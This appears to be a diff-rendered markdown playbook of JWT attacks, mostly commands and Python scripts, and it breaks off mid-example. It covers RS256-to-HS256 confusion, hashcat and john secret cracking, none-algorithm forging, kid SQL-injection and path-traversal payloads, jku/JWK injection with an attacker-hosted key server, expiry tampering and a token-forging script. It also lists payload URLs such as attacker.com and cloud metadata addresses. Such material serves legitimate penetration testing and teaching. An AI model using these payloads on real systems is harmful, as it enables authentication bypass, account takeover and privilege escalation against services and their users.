Intercept traffic via Burp Suite. Look in:
|
|
248
|
+
- `Authorization: Bearer <TOKEN>` header
|
|
249
|
+
- `Cookie: token=<TOKEN>` or `Cookie: session=<TOKEN>`
|
|
250
|
+
- Response bodies from `/login`, `/auth`, `/token` endpoints
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
# Quick test with curl
|
|
254
|
+
curl -s -X POST https://target.com/api/login \
|
|
255
|
+
-H "Content-Type: application/json" \
|
|
256
|
+
-d '{"username":"user","password":"password"}' | jq .token
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Step 2: Decode the token**
|
|
260
|
+
|
|
261
|
+
```bash
|
|
262
|
+
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SIGNATURE"
|
|
263
|
+
|
|
264
|
+
python3 jwt_tool.py $TOKEN -p
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
Note:
|
|
268
|
+
- The `alg` field (determines attack path)
|
|
269
|
+
- The `kid` field (injection vector)
|
|
270
|
+
- The `jku`/`x5u`/`jwk` fields (injection vectors)
|
|
271
|
+
- Claims: `sub`, `role`, `admin`, `email`, `iss`, `aud`, `exp`, `iat`
|
|
272
|
+
|
|
273
|
+
**Step 3: Identify JWKS endpoints**
|
|
274
|
+
|
|
275
|
+
```bash
|
|
276
|
+
for path in \
|
|
277
|
+
"/.well-known/jwks.json" \
|
|
278
|
+
"/oauth/jwks" \
|
|
279
|
+
"/auth/realms/master/protocol/openid-connect/certs" \
|
|
280
|
+
"/api/auth/keys" \
|
|
281
|
+
"/.well-known/openid-configuration" \
|
|
282
|
+
"/api/.well-known/jwks.json" \
|
|
283
|
+
"/v1/keys" \
|
|
284
|
+
"/keys"; do
|
|
285
|
+
echo -n "Trying $path: "
|
|
286
|
+
curl -s -o /dev/null -w "%{http_code}" https://target.com$path
|
|
287
|
+
echo
|
|
288
|
+
done
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
---
|
|
292
|
+
|
|
293
|
+
### Phase 2 — Algorithm Analysis
|
|
294
|
+
|
|
295
|
+
**Step 4: Check the algorithm**
|
|
296
|
+
|
|
297
|
+
```bash
|
|
298
|
+
# Decode header manually
|
|
299
|
+
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null
|
|
300
|
+
# Output: {"alg":"RS256","typ":"JWT"}
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
Decision tree:
|
|
304
|
+
- `RS256`, `RS384`, `RS512` → Try algorithm confusion (Step 5), JWK injection (Step 8)
|
|
305
|
+
- `HS256`, `HS384`, `HS512` → Try brute force (Step 6)
|
|
306
|
+
- `ES256`, `ES384` → Try none algorithm (Step 7), check for confusion
|
|
307
|
+
- `none` → Already vulnerable, skip to Step 7
|
|
308
|
+
|
|
309
|
+
---
|
|
310
|
+
|
|
311
|
+
### Phase 3 — Algorithm Confusion (RS256 -> HS256)
|
|
312
|
+
|
|
313
|
+
**Step 5: RS256 to HS256 confusion attack**
|
|
314
|
+
|
|
315
|
+
The library uses the RS256 public key as the HMAC secret when the algorithm is switched to HS256. If the server validates with the same key regardless of algorithm, this is exploitable.
|
|
316
|
+
|
|
317
|
+
```bash
|
|
318
|
+
# Obtain the public key (choose one method)
|
|
319
|
+
|
|
320
|
+
# Method A: From JWKS endpoint
|
|
321
|
+
curl -s https://target.com/.well-known/jwks.json > jwks.json
|
|
322
|
+
# Convert to PEM using jwt_tool or the Python script above
|
|
323
|
+
|
|
324
|
+
# Method B: From TLS certificate
|
|
325
|
+
echo | openssl s_client -connect target.com:443 2>/dev/null \
|
|
326
|
+
| openssl x509 -pubkey -noout > public.pem
|
|
327
|
+
|
|
328
|
+
# Method C: From source code or configuration repository
|
|
329
|
+
# Search GitHub, GitLab, internal wikis for .pem or public key files
|
|
330
|
+
|
|
331
|
+
# Perform the confusion attack
|
|
332
|
+
python3 jwt_tool.py $TOKEN -X k -pk public.pem
|
|
333
|
+
|
|
334
|
+
# Confusion attack + payload modification
|
|
335
|
+
python3 jwt_tool.py $TOKEN -X k -pk public.pem \
|
|
336
|
+
-I -pc role -pv administrator
|
|
337
|
+
|
|
338
|
+
# Confusion attack with multiple claim changes
|
|
339
|
+
python3 jwt_tool.py $TOKEN -X k -pk public.pem \
|
|
340
|
+
-I -pc role -pv admin \
|
|
341
|
+
-pc sub -pv 1 \
|
|
342
|
+
-pc email -pv admin@target.com \
|
|
343
|
+
-pc exp -pv 9999999999
|
|
344
|
+
|
|
345
|
+
# Test the forged token
|
|
346
|
+
FORGED="<OUTPUT_FROM_ABOVE>"
|
|
347
|
+
curl -s https://target.com/api/admin \
|
|
348
|
+
-H "Authorization: Bearer $FORGED" | jq .
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
**Edge cases and variations**
|
|
352
|
+
|
|
353
|
+
```bash
|
|
354
|
+
# Try with PKCS#1 format if PKCS#8 fails
|
|
355
|
+
openssl rsa -pubin -in public.pem -RSAPublicKey_out -out public_pkcs1.pem
|
|
356
|
+
python3 jwt_tool.py $TOKEN -X k -pk public_pkcs1.pem
|
|
357
|
+
|
|
358
|
+
# The key may be embedded in the JWKS n/e parameters
|
|
359
|
+
# Use jwt_tool's built-in JWKS fetch
|
|
360
|
+
python3 jwt_tool.py $TOKEN -X k --jwks https://target.com/.well-known/jwks.json
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
---
|
|
364
|
+
|
|
365
|
+
### Phase 4 — Weak Secret Brute Force
|
|
366
|
+
|
|
367
|
+
**Step 6: Crack HS256 secret with hashcat**
|
|
368
|
+
|
|
369
|
+
```bash
|
|
370
|
+
# Save token to file (hashcat requires the full JWT)
|
|
371
|
+
echo "$TOKEN" > jwt.txt
|
|
372
|
+
|
|
373
|
+
# Mode 16500 = JWT
|
|
374
|
+
# Common wordlists
|
|
375
|
+
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
|
|
376
|
+
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/common-passwords.txt
|
|
377
|
+
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/darkweb2017-top10000.txt
|
|
378
|
+
|
|
379
|
+
# With rules (significantly increases coverage)
|
|
380
|
+
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt \
|
|
381
|
+
-r /usr/share/hashcat/rules/best64.rule
|
|
382
|
+
|
|
383
|
+
# Brute force short secrets (up to 6 chars)
|
|
384
|
+
hashcat -a 3 -m 16500 jwt.txt "?a?a?a?a?a?a"
|
|
385
|
+
|
|
386
|
+
# Brute force digits only (common for dev environments)
|
|
387
|
+
hashcat -a 3 -m 16500 jwt.txt "?d?d?d?d?d?d?d?d"
|
|
388
|
+
|
|
389
|
+
# Combinator attack — combine two wordlists
|
|
390
|
+
hashcat -a 1 -m 16500 jwt.txt wordlist1.txt wordlist2.txt
|
|
391
|
+
|
|
392
|
+
# john alternative
|
|
393
|
+
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
|
|
394
|
+
|
|
395
|
+
# jwt_tool built-in cracking (slower, good for quick checks)
|
|
396
|
+
python3 jwt_tool.py $TOKEN -C -d /path/to/wordlist.txt
|
|
397
|
+
|
|
398
|
+
# After cracking — forge token
|
|
399
|
+
CRACKED_SECRET="mysecret"
|
|
400
|
+
python3 jwt_tool.py $TOKEN -I -pc role -pv admin -S hs256 -p "$CRACKED_SECRET"
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
**Custom JWT secret wordlist generation**
|
|
404
|
+
|
|
405
|
+
```bash
|
|
406
|
+
# Common JWT secrets developers use
|
|
407
|
+
cat > jwt_secrets.txt << 'EOF'
|
|
408
|
+
secret
|
|
409
|
+
password
|
|
410
|
+
123456
|
|
411
|
+
jwt_secret
|
|
412
|
+
jwt-secret
|
|
413
|
+
your-256-bit-secret
|
|
414
|
+
your-secret-key
|
|
415
|
+
supersecret
|
|
416
|
+
changeme
|
|
417
|
+
default
|
|
418
|
+
key
|
|
419
|
+
private
|
|
420
|
+
signing-key
|
|
421
|
+
auth-secret
|
|
422
|
+
application-secret
|
|
423
|
+
APP_SECRET
|
|
424
|
+
JWT_SECRET
|
|
425
|
+
jwtSecret
|
|
426
|
+
jwtSigningKey
|
|
427
|
+
EOF
|
|
428
|
+
|
|
429
|
+
# Combine with company name and domain variations
|
|
430
|
+
echo "targetcompany" >> jwt_secrets.txt
|
|
431
|
+
echo "targetcompany123" >> jwt_secrets.txt
|
|
432
|
+
echo "target_jwt_secret" >> jwt_secrets.txt
|
|
433
|
+
```
|
|
434
|
+
|
|
435
|
+
---
|
|
436
|
+
|
|
437
|
+
### Phase 5 — None Algorithm Attack
|
|
438
|
+
|
|
439
|
+
**Step 7: Remove the signature**
|
|
440
|
+
|
|
441
|
+
Some libraries accept `alg: none` as valid, bypassing signature verification entirely.
|
|
442
|
+
|
|
443
|
+
```bash
|
|
444
|
+
# jwt_tool none algorithm attack
|
|
445
|
+
python3 jwt_tool.py $TOKEN -X a
|
|
446
|
+
|
|
447
|
+
# jwt_tool will produce several variants
|
|
448
|
+
# Try all of them:
|
|
449
|
+
# - alg: none
|
|
450
|
+
# - alg: None
|
|
451
|
+
# - alg: NONE
|
|
452
|
+
# - alg: nOnE
|
|
453
|
+
|
|
454
|
+
# Manual construction (Python)
|
|
455
|
+
python3 << 'EOF'
|
|
456
|
+
import base64, json
|
|
457
|
+
|
|
458
|
+
token = "YOUR_TOKEN_HERE"
|
|
459
|
+
parts = token.split(".")
|
|
460
|
+
|
|
461
|
+
# Decode header and modify
|
|
462
|
+
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
|
|
463
|
+
header["alg"] = "none"
|
|
464
|
+
new_header = base64.urlsafe_b64encode(json.dumps(header, separators=(',',':')).encode()).rstrip(b'=').decode()
|
|
465
|
+
|
|
466
|
+
# Decode payload and modify
|
|
467
|
+
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
|
468
|
+
payload["role"] = "admin"
|
|
469
|
+
payload["exp"] = 9999999999
|
|
470
|
+
new_payload = base64.urlsafe_b64encode(json.dumps(payload, separators=(',',':')).encode()).rstrip(b'=').decode()
|
|
471
|
+
|
|
472
|
+
# Forged token with empty signature
|
|
473
|
+
forged = f"{new_header}.{new_payload}."
|
|
474
|
+
print(forged)
|
|
475
|
+
|
|
476
|
+
# Also try with trailing dot variations
|
|
477
|
+
print(f"{new_header}.{new_payload}")
|
|
478
|
+
EOF
|
|
479
|
+
```
|
|
480
|
+
|
|
481
|
+
---
|
|
482
|
+
|
|
483
|
+
### Phase 6 — kid Injection
|
|
484
|
+
|
|
485
|
+
**Step 8: kid SQL injection**
|
|
486
|
+
|
|
487
|
+
The `kid` (key ID) header tells the server which key to use. If the server queries a database using this value without sanitization:
|
|
488
|
+
|
|
489
|
+
```sql
|
|
490
|
+
-- Server code (vulnerable)
|
|
491
|
+
SELECT secret FROM keys WHERE kid = '<kid_value>'
|
|
492
|
+
```
|
|
493
|
+
|
|
494
|
+
```bash
|
|
495
|
+
# Basic UNION SELECT injection — inject a known secret
|
|
496
|
+
python3 jwt_tool.py $TOKEN \
|
|
497
|
+
-I -hc kid -hv "' UNION SELECT 'attacker_controlled_secret'-- -" \
|
|
498
|
+
-S hs256 -p "attacker_controlled_secret"
|
|
499
|
+
|
|
500
|
+
# SQLite syntax
|
|
501
|
+
python3 jwt_tool.py $TOKEN \
|
|
502
|
+
-I -hc kid -hv "' UNION SELECT 'pwned' FROM sqlite_master-- -" \
|
|
503
|
+
-S hs256 -p "pwned"
|
|
504
|
+
|
|
505
|
+
# PostgreSQL syntax
|
|
506
|
+
python3 jwt_tool.py $TOKEN \
|
|
507
|
+
-I -hc kid -hv "' UNION SELECT 'pwned'::text-- -" \
|
|
508
|
+
-S hs256 -p "pwned"
|
|
509
|
+
|
|
510
|
+
# MySQL syntax
|
|
511
|
+
python3 jwt_tool.py $TOKEN \
|
|
512
|
+
-I -hc kid -hv "' UNION SELECT 'pwned'#" \
|
|
513
|
+
-S hs256 -p "pwned"
|
|
514
|
+
|
|
515
|
+
# Boolean-based blind (confirm injection)
|
|
516
|
+
python3 jwt_tool.py $TOKEN \
|
|
517
|
+
-I -hc kid -hv "' AND '1'='1" \
|
|
518
|
+
-S hs256 -p ""
|
|
519
|
+
|
|
520
|
+
# Time-based blind (MySQL)
|
|
521
|
+
python3 jwt_tool.py $TOKEN \
|
|
522
|
+
-I -hc kid -hv "' AND SLEEP(5)-- -" \
|
|
523
|
+
-S hs256 -p ""
|
|
524
|
+
```
|
|
525
|
+
|
|
526
|
+
**Step 9: kid path traversal**
|
|
527
|
+
|
|
528
|
+
```bash
|
|
529
|
+
# Point kid to /dev/null — empty HMAC secret
|
|
530
|
+
python3 jwt_tool.py $TOKEN \
|
|
531
|
+
-I -hc kid -hv "../../../../../../dev/null" \
|
|
532
|
+
-S hs256 -p ""
|
|
533
|
+
|
|
534
|
+
# Point to /proc/sys/kernel/randomize_va_space (value: "2\n")
|
|
535
|
+
python3 jwt_tool.py $TOKEN \
|
|
536
|
+
-I -hc kid -hv "../../../../proc/sys/kernel/randomize_va_space" \
|
|
537
|
+
-S hs256 -p "2"
|
|
538
|
+
|
|
539
|
+
# Point to a static file you know the content of
|
|
540
|
+
python3 jwt_tool.py $TOKEN \
|
|
541
|
+
-I -hc kid -hv "../../../etc/hostname" \
|
|
542
|
+
-S hs256 -p "$(cat /etc/hostname 2>/dev/null || echo 'localhost')"
|
|
543
|
+
|
|
544
|
+
# Point to /etc/passwd (first line as secret)
|
|
545
|
+
python3 jwt_tool.py $TOKEN \
|
|
546
|
+
-I -hc kid -hv "../../../etc/passwd" \
|
|
547
|
+
-S hs256 -p "root:x:0:0:root:/root:/bin/bash"
|
|
548
|
+
|
|
549
|
+
# Windows path traversal
|
|
550
|
+
python3 jwt_tool.py $TOKEN \
|
|
551
|
+
-I -hc kid -hv "..\\..\\..\\..\\windows\\win.ini" \
|
|
552
|
+
-S hs256 -p ""
|
|
553
|
+
|
|
554
|
+
# URL-encoded path traversal (WAF bypass)
|
|
555
|
+
python3 jwt_tool.py $TOKEN \
|
|
556
|
+
-I -hc kid -hv "..%2F..%2F..%2F..%2Fdev%2Fnull" \
|
|
557
|
+
-S hs256 -p ""
|
|
558
|
+
```
|
|
559
|
+
|
|
560
|
+
---
|
|
561
|
+
|
|
562
|
+
### Phase 7 — JWK/JWKS Injection
|
|
563
|
+
|
|
564
|
+
**Step 10: JWK set injection**
|
|
565
|
+
|
|
566
|
+
If the server trusts a `jwk` or `jku` header parameter without validation, an attacker can provide their own key for signature verification.
|
|
567
|
+
|
|
568
|
+
```bash
|
|
569
|
+
# Generate attacker key pair
|
|
570
|
+
openssl genrsa -out attacker_private.pem 2048
|
|
571
|
+
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
|
|
572
|
+
|
|
573
|
+
# JWK injection — embed JWK in token header
|
|
574
|
+
python3 jwt_tool.py $TOKEN -X i
|
|
575
|
+
|
|
576
|
+
# This will:
|
|
577
|
+
# 1. Generate a new RSA key pair
|
|
578
|
+
# 2. Embed the public key as JWK in the header
|
|
579
|
+
# 3. Sign with the private key
|
|
580
|
+
# 4. Output the forged token
|
|
581
|
+
|
|
582
|
+
# Modify payload during JWK injection
|
|
583
|
+
python3 jwt_tool.py $TOKEN -X i \
|
|
584
|
+
-I -pc role -pv admin -pc sub -pv 1
|
|
585
|
+
|
|
586
|
+
# jku injection — host your own JWKS
|
|
587
|
+
# Step 1: Generate key pair (if not already done)
|
|
588
|
+
python3 jwt_tool.py $TOKEN -X s -ju https://YOUR_SERVER/jwks.json
|
|
589
|
+
|
|
590
|
+
# Step 2: jwt_tool creates a jwks.json file
|
|
591
|
+
# Host it: python3 -m http.server 8080
|
|
592
|
+
|
|
593
|
+
# Step 3: Verify the server fetches your JWKS
|
|
594
|
+
# Monitor: nc -lvnp 80 or check server access logs
|
|
595
|
+
```
|
|
596
|
+
|
|
597
|
+
**Hosting a JWKS server**
|
|
598
|
+
|
|
599
|
+
```python
|
|
600
|
+
#!/usr/bin/env python3
|
|
601
|
+
# attacker_jwks_server.py
|
|
602
|
+
# Host a JWKS endpoint that returns your attacker key
|
|
603
|
+
|
|
604
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
605
|
+
from cryptography.hazmat.primitives.asymmetric import rsa
|
|
606
|
+
from cryptography.hazmat.backends import default_backend
|
|
607
|
+
from cryptography.hazmat.primitives import serialization
|
|
608
|
+
import json, base64, struct
|
|
609
|
+
|
|
610
|
+
# Generate key pair
|
|
611
|
+
private_key = rsa.generate_private_key(
|
|
612
|
+
public_exponent=65537,
|
|
613
|
+
key_size=2048,
|
|
614
|
+
backend=default_backend()
|
|
615
|
+
)
|
|
616
|
+
public_key = private_key.public_key()
|
|
617
|
+
pub_numbers = public_key.public_key_numbers()
|
|
618
|
+
|
|
619
|
+
def int_to_base64(n):
|
|
620
|
+
length = (n.bit_length() + 7) // 8
|
|
621
|
+
return base64.urlsafe_b64encode(n.to_bytes(length, 'big')).rstrip(b'=').decode()
|
|
622
|
+
|
|
623
|
+
JWKS = {
|
|
624
|
+
"keys": [{
|
|
625
|
+
"kty": "RSA",
|
|
626
|
+
"use": "sig",
|
|
627
|
+
"kid": "attacker-key-1",
|
|
628
|
+
"n": int_to_base64(pub_numbers.n),
|
|
629
|
+
"e": int_to_base64(pub_numbers.e),
|
|
630
|
+
"alg": "RS256"
|
|
631
|
+
}]
|
|
632
|
+
}
|
|
633
|
+
|
|
634
|
+
class Handler(BaseHTTPRequestHandler):
|
|
635
|
+
def do_GET(self):
|
|
636
|
+
self.send_response(200)
|
|
637
|
+
self.send_header("Content-Type", "application/json")
|
|
638
|
+
self.end_headers()
|
|
639
|
+
self.wfile.write(json.dumps(JWKS).encode())
|
|
640
|
+
|
|
641
|
+
# Save private key for signing
|
|
642
|
+
with open("attacker_private.pem", "wb") as f:
|
|
643
|
+
f.write(private_key.private_bytes(
|
|
644
|
+
serialization.Encoding.PEM,
|
|
645
|
+
serialization.PrivateFormat.TraditionalOpenSSL,
|
|
646
|
+
serialization.NoEncryption()
|
|
647
|
+
))
|
|
648
|
+
|
|
649
|
+
print("Private key saved to attacker_private.pem")
|
|
650
|
+
print(f"JWKS: {json.dumps(JWKS, indent=2)}")
|
|
651
|
+
HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()
|
|
652
|
+
```
|
|
653
|
+
|
|
654
|
+
---
|
|
655
|
+
|
|
656
|
+
### Phase 8 — Expiry Manipulation
|
|
657
|
+
|
|
658
|
+
**Step 11: Extend token lifetime**
|
|
659
|
+
|
|
660
|
+
```bash
|
|
661
|
+
# Set exp to year 2286 (Unix timestamp 9999999999)
|
|
662
|
+
python3 jwt_tool.py $TOKEN -I -pc exp -pv 9999999999
|
|
663
|
+
|
|
664
|
+
# Remove exp claim entirely (if library allows)
|
|
665
|
+
python3 << 'EOF'
|
|
666
|
+
import base64, json, hmac, hashlib
|
|
667
|
+
|
|
668
|
+
token = "YOUR_HS256_TOKEN"
|
|
669
|
+
secret = "KNOWN_SECRET"
|
|
670
|
+
parts = token.split(".")
|
|
671
|
+
|
|
672
|
+
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
|
673
|
+
del payload["exp"] # Remove expiry
|
|
674
|
+
del payload["iat"] # Remove issued-at
|
|
675
|
+
|
|
676
|
+
new_payload = base64.urlsafe_b64encode(
|
|
677
|
+
json.dumps(payload, separators=(',',':')).encode()
|
|
678
|
+
).rstrip(b'=').decode()
|
|
679
|
+
|
|
680
|
+
signing_input = f"{parts[0]}.{new_payload}"
|
|
681
|
+
sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
|
|
682
|
+
new_sig = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
|
|
683
|
+
|
|
684
|
+
print(f"{signing_input}.{new_sig}")
|
|
685
|
+
EOF
|
|
686
|
+
|
|
687
|
+
# If none algorithm works, exp can be freely set
|
|
688
|
+
python3 jwt_tool.py $TOKEN -X a -I -pc exp -pv 9999999999
|
|
689
|
+
```
|
|
690
|
+
|
|
691
|
+
---
|
|
692
|
+
|
|
693
|
+
## 4. Specific Terminal Commands
|
|
694
|
+
|
|
695
|
+
### jwt_tool Quick Reference
|
|
696
|
+
|
|
697
|
+
```bash
|
|
698
|
+
# Basic operations
|
|
699
|
+
python3 jwt_tool.py <TOKEN> # Decode and display
|
|
700
|
+
python3 jwt_tool.py <TOKEN> -p # Pretty-print claims
|
|
701
|
+
python3 jwt_tool.py <TOKEN> -V -pk public.pem # Verify signature
|
|
702
|
+
python3 jwt_tool.py <TOKEN> -T # Tamper wizard (interactive)
|
|
703
|
+
|
|
704
|
+
# Tamper (inject) claims
|
|
705
|
+
python3 jwt_tool.py <TOKEN> -I -pc <CLAIM> -pv <VALUE> # Payload claim
|
|
706
|
+
python3 jwt_tool.py <TOKEN> -I -hc <CLAIM> -hv <VALUE> # Header claim
|
|
707
|
+
|
|
708
|
+
# Sign operations
|
|
709
|
+
python3 jwt_tool.py <TOKEN> -S hs256 -p "secret" # Sign with HS256
|
|
710
|
+
python3 jwt_tool.py <TOKEN> -S rs256 -pr private.pem # Sign with RS256
|
|
711
|
+
python3 jwt_tool.py <TOKEN> -S hs384 -p "secret" # Sign with HS384
|
|
712
|
+
python3 jwt_tool.py <TOKEN> -S hs512 -p "secret" # Sign with HS512
|
|
713
|
+
|
|
714
|
+
# Attack modes
|
|
715
|
+
python3 jwt_tool.py <TOKEN> -X a # None algorithm
|
|
716
|
+
python3 jwt_tool.py <TOKEN> -X k -pk public.pem # RS256->HS256 confusion
|
|
717
|
+
python3 jwt_tool.py <TOKEN> -X i # JWK injection
|
|
718
|
+
python3 jwt_tool.py <TOKEN> -X s -ju <URL> # jku spoofing
|
|
719
|
+
python3 jwt_tool.py <TOKEN> -X u -xu <URL> # x5u spoofing
|
|
720
|
+
|
|
721
|
+
# Cracking
|
|
722
|
+
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt # Dictionary crack
|
|
723
|
+
|
|
724
|
+
# Scanning
|
|
725
|
+
python3 jwt_tool.py <TOKEN> -t <URL> -rh "Authorization: Bearer <TOKEN>" --scan
|
|
726
|
+
python3 jwt_tool.py <TOKEN> -t <URL> -rh "Authorization: Bearer <TOKEN>" -M pb # Playbook
|
|
727
|
+
|
|
728
|
+
# Proxy through Burp
|
|
729
|
+
python3 jwt_tool.py <TOKEN> -t <URL> --proxy http://127.0.0.1:8080 --scan
|
|
730
|
+
|
|
731
|
+
# Output results to file
|
|
732
|
+
python3 jwt_tool.py <TOKEN> -t <URL> --scan -o json > results.json
|
|
733
|
+
```
|
|
734
|
+
|
|
735
|
+
### Python Script — Full Token Forge
|
|
736
|
+
|
|
737
|
+
```python
|
|
738
|
+
#!/usr/bin/env python3
|
|
739
|
+
"""
|
|
740
|
+
forge_jwt.py — Forge a JWT with any algorithm and claims
|
|
741
|
+
Usage: python3 forge_jwt.py <original_token> <secret_or_key_file>
|
|
742
|
+
"""
|
|
743
|
+
import sys, json, base64, hmac, hashlib
|
|
744
|
+
from datetime import datetime, timedelta
|
|
745
|
+
|
|
746
|
+
def b64url_encode(data: bytes) -> str:
|
|
747
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
748
|
+
|
|
749
|
+
def b64url_decode(s: str) -> bytes:
|
|
750
|
+
return base64.urlsafe_b64decode(s + '==')
|
|
751
|
+
|
|
752
|
+
def forge_hs256(token: str, secret: str, claim_overrides: dict) -> str:
|
|
753
|
+
parts = token.split('.')
|
|
754
|
+
header = json.loads(b64url_decode(parts[0]))
|
|
755
|
+
payload = json.loads(b64url_decode(parts[1]))
|
|
756
|
+
|
|
757
|
+
header['alg'] = 'HS256'
|
|
758
|
+
payload.update(claim_overrides)
|
|
759
|
+
payload['exp'] = int((datetime.utcnow() + timedelta(days=365)).timestamp())
|
|
760
|
+
payload['iat'] = int(datetime.utcnow().timestamp())
|
|
761
|
+
|
|
762
|
+
h = b64url_encode(json.dumps(header, separators=(',',':')).encode())
|
|
763
|
+
p = b64url_encode(json.dumps(payload, separators=(',',':')).encode())
|
|
764
|
+
signing_input = f"{h}.{p}"
|
|
765
|
+
|
|
766
|
+
sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
|
|
767
|
+
return f"{signing_input}.{b64url_encode(sig)}"
|
|
768
|
+
|
|
769
|
+
if __name__ == "__main__":
|
|
770
|
+
token = sys.argv[1]
|
|
771
|
+
secret = sys.argv[2]
|
|
772
|
+
overrides = {"role": "admin", "sub": "1", "is_admin": True}
|
|
773
|
+
forged = forge_hs256(token, secret, overrides)
|
|
774
|
+
print(f"[+] Forged token:\n{forged}")
|
|
775
|
+
```
|
|
776
|
+
|
|
777
|
+
### Hashcat JWT Cracking
|
|
778
|
+
|
|
779
|
+
```bash
|
|
780
|
+
# Prepare hash file
|
|
781
|
+
echo "$TOKEN" > jwt.hash
|
|
782
|
+
|
|
783
|
+
# Standard wordlist attack
|
|
784
|
+
hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --status
|
|
785
|
+
|
|
786
|
+
# Wordlist + rules (recommended — 10x coverage)
|
|
787
|
+
hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt \
|
|
788
|
+
-r /usr/share/hashcat/rules/best64.rule \
|
|
789
|
+
-r /usr/share/hashcat/rules/toggles1.rule
|
|
790
|
+
|
|
791
|
+
# Pure brute force up to 8 characters
|
|
792
|
+
hashcat -a 3 -m 16500 jwt.hash "?a?a?a?a?a?a?a?a" --increment --increment-min 1
|
|
793
|
+
|
|
794
|
+
# Mask attack — common patterns
|
|
795
|
+
hashcat -a 3 -m 16500 jwt.hash "?u?l?l?l?l?d?d?d?d" # e.g. Pass1234
|
|
796
|
+
hashcat -a 3 -m 16500 jwt.hash "?l?l?l?l?l?l?d?d" # e.g. secret12
|
|
797
|
+
|
|
798
|
+
# Check GPU status
|
|
799
|
+
hashcat -I
|
|
800
|
+
|
|
801
|
+
# Resume a session
|
|
802
|
+
hashcat -a 0 -m 16500 jwt.hash wordlist.txt --restore
|
|
803
|
+
|
|
804
|
+
# Show cracked
|
|
805
|
+
hashcat -m 16500 jwt.hash --show
|
|
806
|
+
```
|
|
807
|
+
|
|
808
|
+
---
|
|
809
|
+
|
|
810
|
+
## 5. Common Payloads and Examples
|
|
811
|
+
|
|
812
|
+
### Privilege Escalation Payloads
|
|
813
|
+
|
|
814
|
+
```json
|
|
815
|
+
// Original payload
|
|
816
|
+
{
|
|
817
|
+
"sub": "user_123",
|
|
818
|
+
"role": "user",
|
|
819
|
+
"exp": 1716000000
|
|
820
|
+
}
|
|
821
|
+
|
|
822
|
+
// Target payload — basic admin
|
|
823
|
+
{
|
|
824
|
+
"sub": "1",
|
|
825
|
+
"role": "admin",
|
|
826
|
+
"exp": 9999999999
|
|
827
|
+
}
|
|
828
|
+
|
|
829
|
+
// Target payload — Laravel/PHP apps
|
|
830
|
+
{
|
|
831
|
+
"sub": 1,
|
|
832
|
+
"is_admin": true,
|
|
833
|
+
"role": "administrator",
|
|
834
|
+
"exp": 9999999999
|
|
835
|
+
}
|
|
836
|
+
|
|
837
|
+
// Target payload — Node.js/Express
|
|
838
|
+
{
|
|
839
|
+
"userId": 1,
|
|
840
|
+
"username": "admin",
|
|
841
|
+
"roles": ["admin", "superadmin"],
|
|
842
|
+
"exp": 9999999999
|
|
843
|
+
}
|
|
844
|
+
|
|
845
|
+
// Target payload — Django REST framework
|
|
846
|
+
{
|
|
847
|
+
"user_id": 1,
|
|
848
|
+
"is_staff": true,
|
|
849
|
+
"is_superuser": true,
|
|
850
|
+
"exp": 9999999999
|
|
851
|
+
}
|
|
852
|
+
```
|
|
853
|
+
|
|
854
|
+
### kid Injection Payloads
|
|
855
|
+
|
|
856
|
+
```
|
|
857
|
+
' UNION SELECT 'pwned'-- -
|
|
858
|
+
' UNION SELECT 'pwned' FROM dual-- -
|
|
859
|
+
') UNION SELECT 'pwned'-- -
|
|
860
|
+
"; SELECT 'pwned'-- -
|
|
861
|
+
' OR '1'='1
|
|
862
|
+
../../../../../../dev/null
|
|
863
|
+
..%2F..%2F..%2F..%2Fdev%2Fnull
|
|
864
|
+
....//....//....//....//dev//null
|
|
865
|
+
../../../../../../proc/sys/kernel/randomize_va_space
|
|
866
|
+
/etc/passwd
|
|
867
|
+
C:\Windows\win.ini
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
### Header Injection Payloads (jku/x5u)
|
|
871
|
+
|
|
872
|
+
```
|
|
873
|
+
https://attacker.com/jwks.json
|
|
874
|
+
https://attacker.com/jwks.json#target.com
|
|
875
|
+
https://target.com.attacker.com/jwks.json
|
|
876
|
+
http://attacker.com/jwks.json
|
|
877
|
+
http://127.0.0.1:8080/jwks.json
|
|
878
|
+
http://169.254.169.254/jwks.json
|
|
879
|
+
file:///etc/passwd
|
|
880
|
+
```
|
|
881
|
+
|
|
882
|
+
---
|
|
883
|
+
|
|
884
|
+
## 6. Real-World Examples from Actual Engagements
|
|
885
|
+
|
|
886
|
+
### Case 1: SaaS Application — RS256 Confusion
|
|
887
|
+
|
|
888
|
+
**Scenario**: A SaaS application used RS256 for JWT signing. The JWKS endpoint was public.
|
|
889
|
+
|
|
890
|
+
```bash
|
|
891
|
+
# Step 1: Enumerate JWKS
|
|
892
|
+
curl -s https://api.target-saas.com/.well-known/jwks.json | jq .
|
|
893
|
+
